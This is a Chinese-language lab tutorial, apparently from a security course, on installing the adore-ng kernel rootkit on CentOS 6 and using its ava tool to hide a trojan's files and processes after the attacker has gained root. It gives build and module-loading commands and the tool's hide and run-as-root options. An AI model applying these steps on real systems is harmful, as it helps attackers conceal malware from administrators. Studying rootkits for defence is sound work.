使用rootkit把木马程序的父进程和木马文件隐藏 (此章节实验需在CentOS 6下进行)
Rootkit概述
Rootkit概述:Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。我们接下来讲介绍 adore-ng (rootkit其中一种)的使用方法。 注:adore[əˈdɔ:®] 崇拜
adore-ng可以在linux系统下实现:提权,隐藏进程号,隐藏文件等功能
官网:https://github.com/trimpsyw/adore-ng
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PSv77iXX-1581564046321)(file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml15588\wps1.jpg)]
实验1-通过rootkit隐蔽行踪
实战背景: 当黑客已经上传了木马-》获得普通权限-》提权成root -》现在开始使用rootkit隐蔽行踪。
1、安装adore-ng
# 上传adore-ng-master.zip到linux系统上
root@localhost yum.repos.d]# rpm -ivh /mnt/Packages/kernel-devel-2.6.32-431.el6.x86_64.rpm
#安装依赖包
[root@ localhost ~]# unzip adore-ng-master.zip
[root@ localhost ~]# cd adore-ng-master
[root@localhost adore-ng-master]# make -j 4 #编译,将源码编译成二进制文件,不需要执行make install 文件
[root@localhost adore-ng-master]# insmod adore-ng.ko #加载模块。
2、测试,查看帮助:
[root@ localhost adore-ng-master]# ./ava
Usage: ./ava {
h,u,r,R,i,v,U} [file or PID]
I print info (secret UID etc)
h hide file # 隐藏文件
u unhide file
r execute as root # 可以提权,以root身份运行程序
R remove PID forever
U uninstall adore
i make PID invisible